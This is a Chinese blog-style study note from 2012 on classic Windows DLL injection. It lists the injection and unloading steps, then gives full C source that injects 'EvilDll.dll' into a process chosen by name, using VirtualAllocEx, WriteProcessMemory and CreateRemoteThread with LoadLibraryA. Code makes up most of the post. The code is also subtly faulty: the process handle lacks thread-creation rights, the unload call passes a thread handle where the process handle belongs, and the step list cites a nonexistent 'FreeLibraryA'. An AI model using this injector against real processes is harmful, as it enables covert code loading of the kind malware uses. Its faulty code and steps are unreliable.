Pnig0s1992:算是复习了，最经典的教科书式的Dll注入。

总结一下基本的注入过程，分注入和卸载

注入Dll：

1，OpenProcess获得要注入进程的句柄

2，VirtualAllocEx在远程进程中开辟出一段内存，长度为strlen(dllname)+1;

3，WriteProcessMemory将Dll的名字写入第二步开辟出的内存中。

4，CreateRemoteThread将LoadLibraryA作为线程函数，参数为Dll的名称，创建新线程

5，CloseHandle关闭线程句柄

卸载Dll：

1，CreateRemoteThread将GetModuleHandle注入到远程进程中，参数为被注入的Dll名

2，GetExitCodeThread将线程退出的退出码作为Dll模块的句柄值。

3，CloseHandle关闭线程句柄

3，CreateRemoteThread将FreeLibraryA注入到远程进程中，参数为第二步获得的句柄值。

4，WaitForSingleObject等待对象句柄返回

5，CloseHandle关闭线程及进程句柄。

1. //Code By Pnig0s1992
2. //Date:2012,3,13
3. #include <stdio.h>
4. #include <Windows.h>
5. #include <TlHelp32.h>
6. DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID
7. {
8. DWORD dwRet = 0;
9. HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
10. if(hSnapShot == INVALID_HANDLE_VALUE)
11. {
12. printf("\n获得进程快照失败%d",GetLastError());
13. return dwRet;
14. }
15. PROCESSENTRY32 pe32;//声明进程入口对象
16. pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小
17. Process32First(hSnapShot,&pe32);//遍历进程列表
18. do
19. {
20. if(!lstrcmp(pe32.szExeFile,lpProcessName))//查找指定进程名的PID
21. {
22. dwRet = pe32.th32ProcessID;
23. break;
24. }
25. } while (Process32Next(hSnapShot,&pe32));
26. CloseHandle(hSnapShot);
27. return dwRet;//返回
28. }
29. INT main(INT argc,CHAR * argv[])
30. {
31. DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]);
32. LPCSTR lpDllName = "EvilDll.dll";
33. HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);
34. if(hProcess == NULL)
35. {
36. printf("\n获取进程句柄错误%d",GetLastError());
37. return -1;
38. }
39. DWORD dwSize = strlen(lpDllName)+1;
40. DWORD dwHasWrite;
41. LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);
42. if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite))
43. {
44. if(dwHasWrite != dwSize)
45. {
46. VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT);
47. CloseHandle(hProcess);
48. return -1;
49. }
50. }else
51. {
52. printf("\n写入远程进程内存空间出错%d。",GetLastError());
53. CloseHandle(hProcess);
54. return -1;
55. }
56. DWORD dwNewThreadId;
57. LPVOID lpLoadDll = LoadLibraryA;
58. HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId);
59. if(hNewRemoteThread == NULL)
60. {
61. printf("\n建立远程线程失败%d",GetLastError());
62. CloseHandle(hProcess);
63. return -1;
64. }
65. WaitForSingleObject(hNewRemoteThread,INFINITE);
66. CloseHandle(hNewRemoteThread);
67. //准备卸载之前注入的Dll
68. DWORD dwHandle,dwID;
69. LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄
70. HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID);
71. WaitForSingleObject(hThread,INFINITE);
72. GetExitCodeThread(hThread,&dwHandle);//线程的结束码即为Dll模块儿的句柄
73. CloseHandle(hThread);
74. pFunc = FreeLibrary;
75. hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); //将FreeLibraryA注入到远程线程中去卸载Dll
76. WaitForSingleObject(hThread,INFINITE);
77. CloseHandle(hThread);
78. CloseHandle(hProcess);
79. return 0;
80. }